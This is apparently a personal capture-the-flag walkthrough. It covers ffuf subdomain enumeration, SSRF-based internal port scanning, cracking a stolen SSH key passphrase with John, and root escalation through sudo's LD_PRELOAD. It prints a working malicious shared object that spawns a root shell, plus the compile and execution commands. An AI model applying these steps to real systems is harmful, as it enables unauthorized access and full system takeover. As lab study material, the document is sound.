Breakdown of steps for future reference.
Enumeration is always the first step. We have SSH and HTTP ports open.
The HTTP port hosts a website nice.
Enumerate the subdomains of the website with ffuf (finding virtual hosts).
Example: `ffuf -w {wordlist} -u {url} -H "HOST:FUZZ.{domain_name.{whatever}}" -c -v -mc {http_status_code}`
what does the command do? it uses ffuf with a word list, URL, and selected location for fuzzing within the provided URL. The -c option adds color to the output (totally cosmetic). The -v option is to make the output verbose. The -mc option is used to filter HTTP status codes we do not care about.
## Using FFUF for Server Side Request Forgery (SSRF
We can use ffuf to fuzz internal ports via SSRF vulnerability. NOTE: The server must be the one making the request (not on the client side) otherwise SSRF is not going to work.
Example: `ffuf -u {'URL'} -d {"url=http{:}//127.0.0.1:FUZZ/"} -w {<(seq 1 65535)} -H {'Content-Type: application/x-www-form-urlencoded'} -mc all -t 100 -fs 13`
| -u | Target URL for ffuf requests |
| --------------------------------- | ----------------------------------------------------------------------------------------------------------------------- |
| -d "url=http{:}//127.0.0.1:FUZZ/" | POST data - FUZZ will be replaced by numbers (ports 1 - 65535). This is exploiting an SSRF endpoint that accepts a URL. |
| -w | Wordlist. In this case it is generating numbers 1 - 65535 (the possible ports) |
| -H | Sets the correct header for the POST request |
| -mc all | Match all HTTP status codes |
| -t # | Use an X amount of threads (-t 100 for 100 threads) |
| -fs | Filter out responses based on size |
`Content-Type: application/x-www-form-urlencoded` is a MIME type used in HTTP requests, specifically in POST and PUT requests to tell the server how the data is formatted in the request body.
Using Burpsuite is really helpful at times such as a case with SSRF. We can take a known input and send it to the repeater in order to adjust our input to test certain URLs.
We can traverse the user home directory and find that we have access to the .ssh directory. Looking further we see that we do in fact have access to the id_rsa private key (bingo!).
We will use ssh2john to convert the key into a readable hash to then be used with John in an attempt to crack the passphrase.
Now we have access to the user account and found the users password (used for things like sudo).
Running the sudo -l command lists some important details such as our ability to run the /usr/bin/ping as root.
Additionally, a key item in this is the existence of env_keep+=LD_PRELOAD, focused specifically on the LD_PRELOAD portion.
LD_PRELOAD: An environment variable used by the dynamic linker (ld_linux.so) and tells the system "before loading any other shared libraries, load this one first". What that means is that we can now create our own library function essentially creating arbitrary code into the setuid root binary (such as ping run via sudo).
Here is an example of a malicious shared object that can be injected leveraging the LD_PRELOAD.
```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
```
Code breakdown:
`_init()`: Special function that runs automatically when the shared object is loaded.
`unsetenv("LD_PRELOAD")`: removes the environment variable so its not inherited by child processes.
`setgid(0) + setuid(0)`: sets the group and user ID to root aka 0.
`system("/bin/sh")`: spawns a shell as root (in this example).
To compile the code into a shared object on the target:
```
gcc -fPIC -shared -0 name_of_output.so malicious_code.c -nostartfiles
```
Make sure that the payload is built in the correct directory (in this case it was in /dev/shm/).
`-fPIC`: makes the code ==position-independent== which is required for shared libraries to be safely loaded into any memory address.
`-shared`: tells gcc to create a shared object (.so) file.
`-nostartfiles`: skips linking standard startup files, which aren't needed since we are injecting code via `_init()`
To execute we do the following:
`sudo LD_PRELOAD=/dev/shm/malicious.so -u root /usr/bin/ping 1.1.1.1`
Code breakdown:
`sudo`: run as root
`LD_PRELOAD=`: inject the custom/malicious shared object
`-u root`: explicitly run as root
`/usr/bin/ping`: the target binary (and simple SUID-root binary works)
As soon as `ping` loads, our malicious shared object is preloaded, `_init()`is executed and it elevates to root and spawns a root shell making us root!